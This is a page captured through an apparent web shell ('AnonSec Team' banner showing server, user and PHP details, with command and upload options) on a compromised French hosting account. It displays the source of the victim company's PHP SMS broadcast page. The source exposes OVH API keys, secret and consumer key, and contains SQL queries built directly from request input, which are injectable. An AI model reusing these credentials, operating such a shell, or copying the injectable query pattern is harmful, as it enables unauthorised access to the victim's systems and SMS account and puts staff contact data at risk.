AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/mcg/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/mcg/pages/sms_11_11_2021.php
<?php
	require __DIR__ . '/vendor_sms_recu/autoload.php';
	include 'includes_sms_recu/ovhhh.php';

include 'includes/config_tmcpro.php' ;
	include 'includes/stable_functions_tmcpro.php' ;
use \Ovh\Api;
// exit() ; 


// if(!empty($_POST))
// {
	// echo "<pre>" ;
	// print_r($_POST) ; 
	// echo "<pre>" ;
	
	// exit(); 	
// }


if($_POST['sms'] == "brodcast" )
{



include 'sms/vendor/autoload.php' ;



    if(isset($_POST['sal_ids'] )){  
	
	// echo "yyy <br/>" ; 
	// echo "<pre>" ; 
// echo print_r($_POST) ; 
// echo "</pre>" ; 

$i = 0 ; 

	$txtMessage = $_POST['txtMessage']  ;   
	
	foreach ($_POST['sal_ids'] as $sal_ids)   
	{
		
		
		
	// echo "yyy <br/>" ; 
	// echo "<pre>" ; 
   // echo print_r($_POST) ; 
   // echo "</pre>" ; 

     // exit() ; 
		
   $receivers  =  $_POST['sal_ids'][$i] ; 
   
   // echo "==>".$receivers."<br/>" ; 
			
    $applicationKey = "3QTamGrntZTeBlul";
    $applicationSecret = "HgWWtMzq2qQeNcFhmEOBZ2Xp4DBDhImR";
    $consumer_key = "V7NIDRFOQtfLn4c1D1ieT187WBdyyuJE";
    $endpoint = 'ovh-eu';


$conn  =  new  Api ($applicationKey , 
                    $applicationSecret , 
                    $endpoint , 
                    $consumer_key );

$smsServices  =  $conn ->get('/sms/' ); 

    $message        =   $txtMessage;

	    $m     =  "MENAGE ET C" ; 
    
$content    =   (object) array(
                            "charset"           =>  "UTF-8",
                            "class"             =>  "phoneDisplay",
                            "coding"            =>  "7bit",
                            "message"           =>  $message,
								"sender" => 'MENAGE ET C',
								"noStopClause" => true,
                            "priority"          =>  "high",
							"sender"            => 'MENAGE ET C',
                            "receivers"         =>  [$receivers],
                            "senderForResponse" =>  true,
                            "validityPeriod"    => 2880
                            );

 
    $resultPostJob  =  $conn->post('/sms/'.$smsServices[0].'/jobs',$content);
    
	
	$i++ ; 
	}
	// exit() ; 
	header('Location:sms_.php?msg=sms bien envi&#233;&color=success');
	}
	
}



?>


<html>

<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>MCPRO</title>
  <!-- Tell the browser to be responsive to screen width -->
  <meta name="viewport" content="width=device-width, initial-scale=1">

  <!-- Font Awesome -->
  <link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
  <!-- Ionicons -->
  <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
  <!-- daterange picker -->
  <link rel="stylesheet" href="../plugins/daterangepicker/daterangepicker.css">
  <!-- iCheck for checkboxes and radio inputs -->
  <link rel="stylesheet" href="../plugins/icheck-bootstrap/icheck-bootstrap.min.css">
  <!-- Bootstrap Color Picker -->
  <link rel="stylesheet" href="../plugins/bootstrap-colorpicker/css/bootstrap-colorpicker.min.css">
  <!-- Tempusdominus Bbootstrap 4 -->
  <link rel="stylesheet" href="../plugins/tempusdominus-bootstrap-4/css/tempusdominus-bootstrap-4.min.css">
  <!-- Select2 -->
  <link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
  <link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
  <!-- Bootstrap4 Duallistbox -->
  <link rel="stylesheet" href="../plugins/bootstrap4-duallistbox/bootstrap-duallistbox.min.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="../../dist/css/adminlte.min.css">
  <!-- Google Font: Source Sans Pro -->
  <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
  
  
      <style>
.myCollapse {
    display: none;
}
.myCollapse.in {
    display: block;
}
  .modal-header {
    padding: 15px;
    border-bottom: 1px solid #e5e5e5;
}
  .modal-header {
    background: #226faa;
    background: -webkit-gradient(linear,left top,right top,from(#226faa),color-stop(37%,#2989d8),to(#72c0d3));
    background: linear-gradient(to right,#226faa 0,#2989d8 37%,#72c0d3 100%);
    border-radius: 6px;
    color: #fff;
    padding: 18px;
    border-bottom-left-radius: 0;
    border-bottom-right-radius: 0;
    border-color: transparent;
}

.modal-header .close {
    margin-top: -3px;
    font-size: 24px;
    font-weight: 400;
    color: #fff;
    opacity: .9;
    width: 28px;
    height: 28px;
    padding-bottom: 0;
    padding-left: 1px;
}
button.close {
    padding: 0;
    cursor: pointer;
    background: 0 0;
    border: 0;
    -webkit-appearance: none;
    -moz-appearance: none;
    appearance: none;
}



  </style>
  
</head>

<body class="hold-transition sidebar-mini">
												<!-- Site wrapper -->
<div class="wrapper">

<!-- TOP MENU -->
  <nav class="main-header navbar navbar-expand navbar-white navbar-light">
 <!-- Menu extensible -->
    <ul class="navbar-nav">
      <li class="nav-item">
        <a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
      </li>
<!-- liens TOP MENU GAUCHE-->
		 <li>
	  <button type="button" class="btn btn-info" data-toggle="modal" data-target="#modal-nouveaucontact"> NOUVEAU SMS</button></h3>
	  </li>
		
      
    </ul>

 <!-- liens TOP MENU DROITE -->
 
 
    <ul class="navbar-nav ml-auto">
     <!-- Placer ici l'élément à positionner à droite du TOP MENU -->
    </ul>
  
  </nav>  <!-- fin du TOP MENU -->
  
  
<!-- BARRE DE NAVIGATION -->

 <!-- Couleur et caracteristiques de la barre de navigation-->
<?php include('menu.php'); ?>
  
  

 <!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->	

 <!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
 
    <div  class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1"  aria-labelledby="myLargeModalLabel" >
  <div class="modal-dialog modal-lg">
    <div class="modal-content data">
		<div id="fetch" ></div>
		
           
        </div>
    </div>
</div>


  <div class="content-wrapper">
   
  <!-- TITRE DE LA PAGE PRINCIPALE A PLACE ENTRE LES BALISES H1 & ARBORESCENCE SUR LA DROITE-->
    <section class="content-header">
      <div class="container-fluid">
        
		        <div class="row mb-2">
       
		  
<!-- /.col -->
		 <div class="modal fade" id="modal-nouveaucontact">
        <div class="modal-dialog modal-lg">
          <div class="modal-content">
            <div class="modal-header">
              <h4 class="modal-title">Nouveau SMS</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <div class="modal-body">
			
			
			
			            <div class="card-body">
						
						
						
						




						<!-- form start -->
						<form role="form" method='POST' action=''>	  
							<!-- /.card-header -->
							<div class="card-body" >
								<div class="row">
									<div class="col-12">
										<div class="form-group">
											<select class="duallistbox" multiple="multiple" style="height: 150px;" name="sal_ids[]" id="sal_ids[]">
														<?php   $req =dbi_query("SELECT * FROM salarie WHERE salarie_statut = '1' ORDER BY salarie_nom,salarie_prenom ASC") ;
																while(  $sal=dbi_fetch_row($req)) { 
																if(!empty($sal['salarie_tele1'] )){	
																		$tel=str_replace(' ','',$sal['salarie_tele1']);
																		$tel = '0033'.(int)$tel;																?>
																<option value="<?php echo $tel ; ?>" <?php if(in_array($tel  , $_POST['sal_ids'])) echo 'selected';?>><?php echo utf8_encode($sal['salarie_nom'].' '.$sal['salarie_prenom']).' ( '.$tel . ' ) '; ?></option>
																<?php   }	?>
														<?php   }	?>
											</select>
										</div>
									</div>
									<div class="form-group col-md-12">
										<label for="inputAddresse">Message</label>
										<textarea class="textarea" name='txtMessage' placeholder="Placez du texte ici" style="width: 100%; height: 200px; font-size: 14px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;" name="suivi_annotation"></textarea>
									</div>
	

								
									
									

								</div>
							</div>
							
							
							 <div class="modal-footer justify-content-between">
			<input type="hidden"  class="btn btn-primary" name="sms" value="brodcast">
			  <input type="submit"  class="btn btn-primary" value="Envoyer">
              <button type="button" class="btn btn-danger" data-dismiss="modal">Fermer</button>
			  
             
            </div>  
						</form>
            
            <!-- /.card-body -->
          </div>
			    
			
			
			
			
			
		

  
  
            </div>
           
			
          </div>
          <!-- /.modal-content -->
        </div>
        <!-- /.modal-dialog -->
      </div>
       
        </div><!-- /.row -->
      </div><!-- /.container-fluid -->
    </section>
  <!-- FIN DU TITRE DE LA PAGE PRINCIPALE A PLACE ENTRE LES BALISES H1 & ARBORESCENCE SUR LA DROITE-->
   

 
    <!-- Main content -->
	
		 <script language="Javascript">
										   function GetIdBureau()
										   {
												var id_statu="";
											  id_statu = document.client_statu_form.client_statu.value ;
											if( id_statu > 0 || id_statu=="INDEFINI" )
											  window.location = "sms_.php?id_statu="+id_statu;
												else
											window.location = "sms_.php";
										   }
										</script>
										
										
										
										<?php 
										if(!empty($_GET))
										{
										// echo "<pre>" ; 
										// print_r($_GET) ; 
										// echo "<pre>" ; 
										
										
										
										
										$tel=str_replace(' ','',$_GET['id_statu']);
																		$num = '+33'.(int)$tel;	   
																		
																		
																		
										     $_SESSION["id_statu"] =  $_GET['id_statu'] ; 
												$whereo = " where number LIKE '$num'" ; 
										
										}
										else{
											$_SESSION["id_statu"] = "AA" ; 
											$whereo = "" ; 
										}
										// exit() ; 
										?>
	
	
	
    <section class="content">
      <div class="row">
        <div class="col-12">
         <div class="card">
            <div class="card-header">
			
            
			<div class="row">
			  
			  <div class="col-sm-1"></div>
			   
            </div> 
            </div>
            <!-- /.card-header example1 -->
            <div class="card-body">
			
			
			
									<form id="client_statu_form" name="client_statu_form" method="POST"  action="">							
							  <div class="form-row"> 
								<div class="form-group col-md-4">
								  <div class="input-group">						 
											  <select class="form-control select2" style="width: 100%;" id="client_statu" name="client_statu" onchange="GetIdBureau()"; >
												<option   <?php if($_SESSION["id_statu"]== "AA" ){echo "selected"  ;}?> >---Sélectionnez un salarié---</option>											  
											  <?php   $req =dbi_query("SELECT * FROM salarie WHERE salarie_statut = '1' ORDER BY salarie_nom,salarie_prenom ASC") ;
																while(  $sal=dbi_fetch_row($req)) { 
																$tel=str_replace(' ','',$sal['salarie_tele1']);
																		// $tel = (int)$tel;	
																?>
													
												    <option value="<?php echo $tel ;  ?>"  <?php if($_SESSION["id_statu"]== $sal['salarie_tele1'] ){echo "selected"  ;}?>><?php echo utf8_encode($sal['salarie_nom'].' '.$sal['salarie_prenom']); ?></option>
																<?php }?>

											  </select>
									</div> 
								</div>
   
   

   
	 
   
						</div> 
						</form>
						
						
              <table id="" class="table table-bordered table-striped">
                <thead>
                <tr>
				
				   <th>   </th>
                     		<!-- /.Table Client - Champs client_nom -->
                  <th>Expediteur</th> 		<!-- /.Table Client - Champs client_adr1 -->
				   <th>Destinataire</th> 		<!-- /.Table Client - Champs client_adr1 -->
				   
                  <th>Message</th> 	<!-- /.Table Client - Champs client_cp -->
                  <th>Date</th>	<!-- /.Table Client - Champs client_ville -->
				  <th> Heure  </th>
				  
				  
			
				  <th></th> 
                  <th></th>  
                </tr>
                </thead>
                <tbody>
				<?php
				
				
				
						foreach ($messagesDetails as $messagesDetail) {
					
					
					$receiver = str_replace('+33', '0',$messagesDetail['receiver']);
					
					// $receiver = $messagesDetail['receiver'];
					
					// echo $receiver."<br/>" ; 
					
					// echo "<pre>" ; 
					// print_r($messagesDetails) ; 
					// echo "</pre>" ; 
					 
					 
					 // exit() ; 
					 
					 
					 list($id_sms_recu) = dbi_fetch_row(dbi_query(" SELECT 	id_sms_envoi FROM `sms_evoi` WHERE `id` = ".$messagesDetail['id'])) ; 
					
					// echo "====>  $id_sms_recu <br/>" ; 
					if($id_sms_recu == "")
					{
												$date_only = date2int_DSI(substr($messagesDetail['creationDatetime'],0,10))  ;

						// echo "==> $date_only <br/>" ; 
						// exit() ; 
						
						$heure_only=substr($messagesDetail['creationDatetime'],11,5) ; 
						
						 $heure_forma = heure2int($heure_only) ;
						 
						// dbi_query("INSERT INTO `sms_evoi` (`id_sms_envoi`, `id`, `message`, `sender`, `date_recu`) VALUES ('4', '".$messagesDetail['id']."', '".addslashes($messagesDetail['message'])."', '".$messagesDetail['sender']."', '".$messagesDetail['creationDatetime']."')") ; 
					
						dbi_query("INSERT INTO `sms_evoi` (`id`, `message`, `receiver`, `date_recu`, date_only ,heure_only,heure_forma) VALUES ('".$messagesDetail['id']."', '".addslashes($messagesDetail['message'])."', '".$messagesDetail['receiver']."', '".$messagesDetail['creationDatetime']."', '".$date_only."', '".$heure_only."', '".$heure_forma."')") ; 
					    dbi_query("INSERT INTO `boit_send_receives` (`id_sms`, `message`, `number`, `date_full`, date_only ,heure_only,heure_forma,type) VALUES ('".$messagesDetail['id']."', '".addslashes($messagesDetail['message'])."', '".$messagesDetail['receiver']."', '".$messagesDetail['creationDatetime']."', '".$date_only."', '".$heure_only."', '".$heure_forma."',2)") ; 
					
					}
					 
				}
				
				
				
				
				
				
				
				
				$i = 1 ;
				// $a = dbi_query("SELECT * FROM prospect ") ; 
					// $a= dbi_query("SELECT * FROM contacts_2") ; 
					 
					 
					 // while( $contact = dbi_fetch_row($a)) 
					 // {
						   // $replaced = str_replace(' ', '',$contact['tel1']);
						   // $replaced = str_replace('.', '',$replaced);
					 // echo "===> ".$contact['tel1']."===>".$replaced."<br/>" ;
					 // }
					 

					
					$qu = dbi_query("SELECT * FROM `boit_send_receives` $whereo ORDER BY date_only DESC, heure_forma DESC ") ; 
					
					while($messagesDetail=dbi_fetch_row($qu))
					{
						// echo "===>".$messagesDetail['id']."<br/>" ;  
						
						if($messagesDetail['type']==1)  // le cas de sms recu
						{
						$Destinataire= "MCPRO" ; 
						
						
						
																							 $sender = str_replace('+33', '0',$messagesDetail['number']);
									  // list($client_nom)=  dbi_fetch_row(dbi_query("SELECT client_nom  FROM contact con , client c  where contact_tele1 =  $sender and c.client_id = con.client_id ")) ; 
									// $temp= 0 ;
									
								// if(empty($client_nom))
								// {
									list($salarie_nom ,$salarie_prenom )=  dbi_fetch_row(dbi_query("SELECT salarie_nom,salarie_prenom FROM `salarie` WHERE `salarie_tele1` LIKE '$sender'")) ; 
									
									// echo "SELECT salarie_nom,salarie_prenom FROM `salarie` WHERE `salarie_tele1` LIKE '$receiver'<br/>" ; 
									
								if(!empty($salarie_nom))
								{
										// echo "====$Expediteur <br/>" ; 
								$Expediteur = $salarie_nom." ".$salarie_prenom  ; 
								}
								else
								{
								$Expediteur  = $sender ; 	
								}
									// echo "====ùù $Expediteur <br/>" ; 
								// }
						
						
						}
						
						
						
						
						
						
							if($messagesDetail['type']==2) // si envoi
						{
						$Expediteur= "MCPROO" ; 
						
						
											 $receiver = str_replace('+33', '0',$messagesDetail['number']);
											 // echo "==> ".$messagesDetail['number']."<br/>" ; 
									  list($client_nom)=  dbi_fetch_row(dbi_query("SELECT client_nom  FROM contact con , client c  where contact_tele1 =  $receiver and c.client_id = con.client_id ")) ; 
									$temp= 0 ;
									$Destinataire  = $client_nom ; 
									
								if(empty($client_nom))
								{
									list($salarie_nom ,$salarie_prenom )=  dbi_fetch_row(dbi_query("SELECT salarie_nom,salarie_prenom FROM `salarie` WHERE `salarie_tele1` LIKE '$receiver'")) ; 
									
									// echo "SELECT salarie_nom,salarie_prenom FROM `salarie` WHERE `salarie_tele1` LIKE '$receiver' <br/>" ; 
									
								if(!empty($salarie_nom))
								{									
								$Destinataire = $salarie_nom." ".$salarie_prenom  ; 
								}
								else
								{
								$Destinataire  = $receiver ; 	
								}
									
								}
								
								


				 // if(!empty($client_nom ))
									 // { 
								   // = $client_nom ; 
									 // }
									 // else
									 // {
										 
								 

							 
									 // }
						
						
						
						}
						
						
						
						
					
					
					// $sender = str_replace('+33', '0',$messagesDetail['sender']);
					
					 // if(!empty($sender))
					 // {
					  // list($client_nom)=  dbi_fetch_row(dbi_query("SELECT client_nom  FROM contact con , client c  where contact_tele1 =  $sender and c.client_id = con.client_id ")) ; 
					 // }
					 
					 // if(!empty($client_nom ))
					 // { 
				 // $chain  = $client_nom ; 
					 // }
					 // else
					 // {
						 
				 // $chain  = $sender   fgf ; 		 
					 // }
					 
					
               echo "
			   <tr>" ; 
			   
			    	if($messagesDetail['type']==2) // si envoi j
						{
				echo " <td><font color='red'> <i class='fas fa-sign-out-alt'></i> </font></td>";
						}
					else 
					{
					echo " <td> <font color='green'>  <i class='fas fa-sign-in-alt'></i> </font> </td>";
					}
                echo"
                <td>" . $Expediteur . "</td>
				<td>" . $Destinataire . "</td>
		
				
				
                <td>" . (strlen($messagesDetail['message']) < 3 ? $messagesDetail['message'] : ($messagesDetail['message']) ) . "</td>
                <td>" . int2date($messagesDetail['date_only']). "</td>
				 <td>" . $messagesDetail['heure_only'] . "</td> " ; 
				 
				
						if($messagesDetail['type']==1)  // le cas de sms recu
						{
				echo '<td>' . '<a class="btn btn-info " href="#myModal"  id="custId" data-toggle="modal" data-id="'.$messagesDetail['number'].'"> Répondre </a>'. "</td>" ; 
						}
						else
						{
						echo '<td> </td>'  ;
						
						}
				if($messagesDetail['type']==1)
				{
                echo " <td scope='row'><a class='btn btn-primary btn-small btn-danger' href='includes_sms_recu/deletion.php?id=" . $messagesDetail['id_sms'] . "' onClick=\"javascript:return confirm('êtes-vous sûr de vouloir supprimer ce sms ?');\">Supprimer</a></td>";
				}
				else
				{
					 echo " <td scope='row'> <a class='btn btn-primary btn-small btn-danger' href='includes_sms_recu/deletion_envoi.php?id=" . $messagesDetail['id_sms'] . "' onClick=\"javascript:return confirm('êtes-vous sûr de vouloir supprimer ce sms ?');\">Supprimer</a></td>";
				}
				
				echo"</tr>";
++$i;
					}

				
				
				
				
				
				
				
				list($nbr_sms) = dbi_fetch_row(dbi_query(" SELECT count(*) FROM `sms_recu` ")) ; 
				
				dbi_query("UPDATE `config_sms` SET `value_sms` = $nbr_sms WHERE `config_sms`.`id` = 1") ; 
				
				?>
                
                           
                
               
                </tbody>
 
              </table>
            </div>
            <!-- /.card-body -->
          </div>
          <!-- /.card -->
        </div>
        <!-- /.col -->
      </div>
      <!-- /.row -->
    </section>
    <!-- /.content -->
  </div>
  <!-- NE PAS TOUCHER AU DESSUS DESSOUS -->	 




<!-- DEBUT DU PIED DE PAGE -->
  
  <footer class="main-footer">
    <div class="float-right d-none d-sm-block">
      <b>Version</b> 3.0.1
    </div>
    <strong>Copyright &copy; 2019 MCPRO</strong> 
  </footer>
<!-- FIN DU PIED DE PAGE -->

<!-- NE PAS TOUCHER CI-DESSOUS -->
  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->

<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- Select2 -->
<script src="../plugins/select2/js/select2.full.min.js"></script>
<!-- Bootstrap4 Duallistbox -->
<script src="../plugins/bootstrap4-duallistbox/jquery.bootstrap-duallistbox.js"></script>
<!-- InputMask -->
<script src="../plugins/moment/moment.min.js"></script>
<script src="../plugins/inputmask/min/jquery.inputmask.bundle.min.js"></script>
<!-- date-range-picker -->
<script src="../plugins/daterangepicker/daterangepicker.js"></script>
<!-- bootstrap color picker -->
<script src="../plugins/bootstrap-colorpicker/js/bootstrap-colorpicker.min.js"></script>
<!-- Tempusdominus Bootstrap 4 -->
<script src="../plugins/tempusdominus-bootstrap-4/js/tempusdominus-bootstrap-4.min.js"></script>
<!-- Bootstrap Switch -->
<script src="../plugins/bootstrap-switch/js/bootstrap-switch.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<!-- Page script -->


<script>
  $(function () {
    //Initialize Select2 Elements
    $('.select2').select2()

    //Initialize Select2 Elements
    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })
  })
</script>


<script>
  $(function () {
$("#allcheck").click(function(){
    $('input:checkbox').not(this).prop('checked', this.checked);
});
	 var TOTALCA ="<?php echo number_format( $CATTC, 2, ',', ' ').'<sup> € </sup>';?>";
	$('#TOTALCA').html(TOTALCA);
	 var TOTALCAHT ="<?php echo number_format( $CAHT, 2, ',', ' ').'<sup> € </sup>';?>";
	$('#TOTALCAHT').html(TOTALCAHT); 	
    //Initialize Select2 Elements
    $('.select2').select2()

    //Initialize Select2 Elements
    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })

    //Datemask dd/mm/yyyy
    $('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
    //Datemask2 mm/dd/yyyy
    $('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
    //Money Euro
    $('[data-mask]').inputmask()

    //Date range picker
    $('#reservation').daterangepicker()
    //Date range picker with time picker
    $('#reservationtime').daterangepicker({
      timePicker: true,
      timePickerIncrement: 30,
      locale: {
        format: 'MM/DD/YYYY hh:mm A'
      }
    })
    //Date range as a button
    $('#daterange-btn').daterangepicker(
      {
        ranges   : {
          'Today'       : [moment(), moment()],
          'Yesterday'   : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
          'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
          'Last 30 Days': [moment().subtract(29, 'days'), moment()],
          'This Month'  : [moment().startOf('month'), moment().endOf('month')],
          'Last Month'  : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
        },
        startDate: moment().subtract(29, 'days'),
        endDate  : moment()
      },
      function (start, end) {
        $('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
      }
    )

    //Timepicker
    $('#timepicker').datetimepicker({
      format: 'LT'
    })
    
    //Bootstrap Duallistbox
    $('.duallistbox').bootstrapDualListbox()

    //Colorpicker
    $('.my-colorpicker1').colorpicker()
    //color picker with addon
    $('.my-colorpicker2').colorpicker()

    $('.my-colorpicker2').on('colorpickerChange', function(event) {
      $('.my-colorpicker2 .fa-square').css('color', event.color.toString());
    });

    $("input[data-bootstrap-switch]").each(function(){
      $(this).bootstrapSwitch('state', $(this).prop('checked'));
    });

  })
</script>





<script type="text/javascript">


$(document).ready(function(){
   // $("#my_form").on("submit", function () {
        // var hvalue = $('.suivi_annotation').text();
        // $(this).append("<input type='hidden' name='suivi_annotation' value=' " + hvalue.trim() + " '/>");
    // });
	
		$("#suivi_id").on('change',function(){	
		var suivi_id = $(this).val();
				if(suivi_id > 0){
					$.ajax({
					type:'POST',
					url: 'ajaxmailsuivi.php',
					data:'suivi_id='+suivi_id,
					success:function(html){
						$("#suivi_biais_id").html(html);
						}
					});
				}					
		 });
});
</script>
<script type="text/javascript">
$(document).ready(function(){
    $('#myModal').on('show.bs.modal', function (e) {
        var rowid = $(e.relatedTarget).data('id');
        $.ajax({
            type : 'post',
            url : 'repondre_sms.php', //Here you will fetch records 
            data :  'rowid='+ rowid, //Pass $id
            success : function(data){
            $('#fetch').html(data);//Show fetched data from database
            }
        });
     });
});

    
</script>

<script>
  $(function () {
    $("#example1").DataTable();
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
    });
  });
</script>
</body>
</html>

AnonSec - 2021